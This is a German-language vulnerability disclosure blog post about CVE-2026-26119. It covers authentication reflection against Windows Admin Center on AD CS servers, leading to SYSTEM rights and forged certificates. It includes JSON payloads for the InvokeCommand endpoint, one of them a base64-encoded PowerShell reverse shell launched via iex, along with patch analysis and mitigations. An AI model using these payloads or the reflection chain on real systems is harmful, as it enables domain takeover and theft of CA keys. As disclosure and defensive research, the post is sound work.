Mittlerweile wissen Sie wahrscheinlich bereits, dass Microsoft kürzlich einen Patch für eine kritische Sicherheitslücke zur Ausweitung von Berechtigungen aus der Ferne (CVE-2026-26119) veröffentlicht hat, die das Windows Admin Center betraf und unter bestimmten Umständen zu einer vollständigen Kompromittierung der Domäne führen konnte. Ich habe dieses Problem im Juli 2025 entdeckt und an Microsoft gemeldet. Nun, da der Patch veröffentlicht wurde, kann ich auf die Schwachstelle eingehen: warum sie funktionierte, warum sie so subtil war und warum IT- und Cybersicherheitsteams die Authentifizierungsreflexion nach wie vor unterschätzen.
Was ist das Windows Admin Center?
Jedes Mal, wenn der Server-Manager geöffnet wird, werden Sie höflich daran erinnert, Windows Admin Center zu installieren. Normalerweise überspringe ich diese Aufforderung, doch schließlich siegte meine Neugier, und ich beschloss, es einmal auszuprobieren.
Windows Admin Center ist eine browserbasierte Verwaltungsplattform, die entwickelt wurde, um die herkömmlichen MMC-Snap-Ins (Microsoft Management Console) zu ersetzen und den Bedarf an direktem PowerShell-Zugriff zu verringern. Die Plattform:
- ist webbasiert
- unterstützt die integrierte Windows-Authentifizierung (WIA)
- stellt REST-Endpunkte für privilegierte Verwaltungsaktionen bereit
Die Plattform läuft als .NET-Anwendung, die auf dem Kestrel-Webserver gehostet wird, und stellt ein HTTP-Verwaltungs-Gateway bereit (Abbildung 1).
Ein Blick hinter die Kulissen des Windows Admin Center
Nach einigen Versuchen und dem Versuch, die Funktionsweise des Windows Admin Centers besser zu verstehen, beschloss ich, dessen Anfragen abzufangen und zu analysieren, um herauszufinden, was tatsächlich vor sich ging.
Nach der Authentifizierung, in diesem Fall über WIA, setzt die Anwendung mehrere wichtige Cookies, wie beispielsweise „WAC-SESSION“ und zugehörige Fälschungsschutz-Token (Abbildung 2).
Es dauerte nicht lange, bis wir interessante REST-Endpunkte identifizierten, die die Ausführung von Code ermöglichten, wie beispielsweise den in Abbildung 3 gezeigten. Dieser befindet sich unter /api/services/WinREST/Powershell/nodes//InvokeCommand.
Dieser Endpunkt schien sehr leicht zu missbrauchen zu sein, daher beschloss ich, die Anfrage erneut auszuführen, um ein einfaches „whoami.exe“ auszuführen, die Ausgabe in eine Datei umzuleiten und den Inhalt abzurufen.
Ein wichtiger Vorbehalt blieb jedoch bestehen: Jede Anfrage erforderte eine neue Authentifizierung, einschließlich des anfänglichen WAC-SESSION-Cookies und des entsprechenden Anti-Fälschungs-Tokens (Abbildung 4).
Überraschung: Es hat funktioniert!
Reflexion der Authentifizierung in Windows Admin Center
Obwohl dieser Endpunkt wie ein einfaches Ziel für ein Authentifizierungs-Relay aussah, galt mein eigentliches Interesse der Authentifizierungsreflexion. Ich wollte herausfinden, ob ein Domänenbenutzer mit geringen Berechtigungen die Systemauthentifizierung aus der Ferne erzwingen und an das Windows Admin Center zurückspiegeln könnte, um Zugriff unter dem Account „NT AUTHORITY\SYSTEM“ zu erlangen.
Ich habe bereits in meinem persönlichen Blog eine ausführliche Erklärung zum Missbrauch der Authentifizierungsreflexion verfasst, daher werde ich dies hier nicht wiederholen. Da die jüngsten Korrekturen von Microsoft den Missbrauch des „CredMarshalTargetInfo“-Tricks und von „GhostSPN“ für SMB-basierte Zwangsmaßnahmen blockieren, blieb als einzige Option nur noch der Einsatz eines RPC/DCOM-Triggers. Der ideale Kandidat? Ein Active Directory-Zertifikatsdienste-Server (AD CS) mit installiertem Windows Admin Center.
In dieser Konfiguration könnte jeder authentifizierte Domänenbenutzer die Maschinenauthentifizierung über DCOM aus der Ferne erzwingen, wie dies mit meinem „ADCSCoerce Potato“ demonstriert wurde, und diese an einen HTTP-Dienst weiterleiten. Da der Service Principal Name (SPN) unter der Kontrolle des Angreifers steht, kann die lokale Authentifizierung entweder über Kerberos oder NTLM ausgelöst werden.
Die erfolgreiche Ausführung von Code und die Erlangung von NT AUTHORITY\SYSTEM-Zugriffsrechten auf einem AD CS-Server bedeutet im Grunde genommen nur eines: ein „Golden Certificate“. Durch diese Administratorrechte kann der Angreifer die öffentlichen und privaten Schlüssel der Zertifizierungsstelle sichern und Zertifikate für jeden beliebigen Benutzer fälschen, einschließlich der Domänenadministratoren für die Client-Authentifizierung.
Da ich bereits über ein benutzerdefiniertes Tool (das ich von KrbRelay abgeleitet hatte) verfügte, das die Fernauslösung über DCOM unterstützt, entschied ich mich für die Verwendung von Kerberos-Reflection. Die einzige verbleibende Aufgabe bestand darin, die HTTP-Client-Logik zu implementieren, die für die Interaktion mit den REST-Endpunkten des Windows Admin Centers und die Auslösung der Codeausführung erforderlich war.
Mithilfe von Burp zur Analyse des Sitzungsablaufs war die Implementierung des Windows Admin Center-Clients relativ unkompliziert. Ich ging in zwei Schritten vor: zunächst eine Anfrage zum Abrufen der erforderlichen Cookies, gefolgt von einer zweiten Anfrage zur Interaktion mit den entsprechenden Endpunkten.
Jede dieser Anfragen erforderte eine erneute Authentifizierung, was zwar etwas zusätzlichen Aufwand bedeutete, aber letztendlich funktionierte alles wie erwartet.
Meine universelle Nutzlast sah wie folgt aus:
{"properties":{"script":"cmd.exe /c >c:\temp\out.txt; $a=get-content \"c:\temp\out.txt"; return $a"}}
Die Nutzlast könnte zudem so angepasst werden, dass sie PowerShell-Code enthält, beispielsweise um eine Reverse-Shell zu erstellen oder eine andere Aktion auszuführen.
{"properties":{"script":"$b64='JGM9TmV3LU9iamVjdCBOZXQuU29ja2V0cy5UQ1BDbGllbnQoJzE5Mi4xNj..';$d = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));iex $d"}}
Um den Umgang mit komplizierten Escape-Sequenzen zu vermeiden, ist es am einfachsten, eine Base64-kodierte Version des Skripts zu verwenden, das Sie ausführen möchten.
Nachdem alles eingerichtet war, beschloss ich, es mit einer PowerShell-Reverse-Shell-Payload von einem domänenangeschlossenen Computer, D2S2, als Benutzer mit geringen Berechtigungen zu versuchen.
Meine einzige verbleibende Sorge galt dem „Extended Protection for Authentication“ (EPA), das eine solche Reflexion verhindert hätte. Doch das Windows Admin Center läuft auf dem Kestrel-Webserver und nicht auf den Microsoft Internet Information Services (IIS), und nach meinem Kenntnisstand sind die EPA-Funktionen in Kestrel nicht implementiert … und es funktionierte, obwohl kein EPA eingerichtet war (Abbildung 5, Abbildung 6).
Das Ergebnis war eine Shell mit vollständigen Rechten, die im Kontext des Computerkontos „D2S3$“ ausgeführt wurde, auf dem sowohl Windows Admin Center als auch AD CS gehostet werden. Dieses Video zeigt ein weiteres Beispiel für die Sicherung der CA-Schlüssel:
Der seltsame Fall von Windows 2025
Da ich diese Tests ursprünglich auf einem Windows Server 2022-System durchgeführt hatte, beschloss ich, sie auf Windows Server 2025 zu wiederholen. Zu meiner Überraschung führte jeder Versuch zu einer Fehlermeldung „Zugriff verweigert“.
Nach weiteren Untersuchungen stellte sich heraus, dass EPA unter Windows Server 2025 und Windows 11 24H2 standardmäßig vom HTTP.SYS-Treiber durchgesetzt wird. Folglich ist EPA praktisch immer aktiviert, sofern das Backend dieses Verhalten nicht ausdrücklich außer Kraft setzt.
Behebungen für CVE-2026-26119
Im Januar 2026 veröffentlichte Microsoft den ersten Patch, CVE-2026-20929, der die EPA-Anforderungen effektiv auf andere Windows-Versionen übertrug, indem die ursprünglichen Kanalbindungsfunktionen mit dem Suffix „_old“ umbenannt und neue Implementierungen eingeführt wurden (Abbildung 7).
Am 17. Februar veröffentlichte Microsoft einen außerplanmäßigen Patch für Windows Admin Center mit der Kennung CVE-2026-26119.
Mit diesem Update wurde der Aufruf „SetProperty(HttpServerChannelBindProperty)“ eingeführt, wodurch die Durchsetzung der Channel-Binding-Token (CBT) an den aktualisierten HTTP.SYS-Kerneltreiber delegiert wird (Abbildung 8).
Die eigentliche Korrektur wurde mit dem HTTP.SYS-Kernel-Patch vom Januar bereitgestellt, der die EPA-Funktion standardmäßig implementiert. Diese neue Implementierung im Windows Admin Center dient daher offenbar in erster Linie der zukünftigen Kompatibilität und nicht der Behebung der eigentlichen Ursache des Problems.
Was Sie über die Authentifizierungsreflexion wissen sollten
Windows Admin Center ist ein weiteres Beispiel dafür, wie gefährlich Reflection- und Relay-Angriffe bei der Authentifizierung sein können, insbesondere wenn (wie in diesem Fall) außer der Deinstallation des Produkts keine wirksamen Gegenmaßnahmen zur Verfügung stehen. Mir liegen keine offiziellen Nutzungszahlen vor, doch erfahrungsgemäß ist Windows Admin Center wahrscheinlich weniger weit verbreitet als andere Verwaltungstools. Das bedeutet jedoch nicht, dass diese Sicherheitslücke unterschätzt werden sollte, da ähnliche Szenarien möglicherweise schon seit Jahren bestehen.
Glücklicherweise konnte diese Art von Angriff durch die direkte Durchsetzung der CBT-Anforderungen im HTTP.SYS-Treiber endgültig abgewehrt werden. Sie sollten außerdem die folgenden Gegenmaßnahmen ergreifen, um Authentifizierungsreflexion generell zu verhindern:
- Unterschriften und Kanalbindung überall durchsetzen
- Beheben Sie bekannte Sicherheitslücken im Zusammenhang mit Coercion
- Sichern Sie Ihre Systeme, indem Sie nicht benötigte Dienste deaktivieren und mithilfe von RPC-Filtern bestimmte Angriffsvektoren blockieren, die eine Authentifizierung auslösen
Zeitleiste
- 8. Juli 2025: Sicherheitslücke beim Microsoft Security Response Center (MSRC) gemeldet
- 29. Juli 2025: Vom MSRC bestätigte Störung
- 30. Oktober 2025: Das MSRC teilte mit, dass der Fix Anfang 2026 veröffentlicht werde
- 13. Januar 2026: Microsoft veröffentlichte ein erstes Sicherheitsupdate zur Behebung der Sicherheitslücke (CVE-2026-20929)
- 17. Februar 2026: Microsoft hat ein zweites Sicherheitsupdate veröffentlicht, das ein Problem im Zusammenhang mit dem Windows Admin Center behebt (CVE-2026-26119)
Weitere Forschungsergebnisse von Semperis-Experten
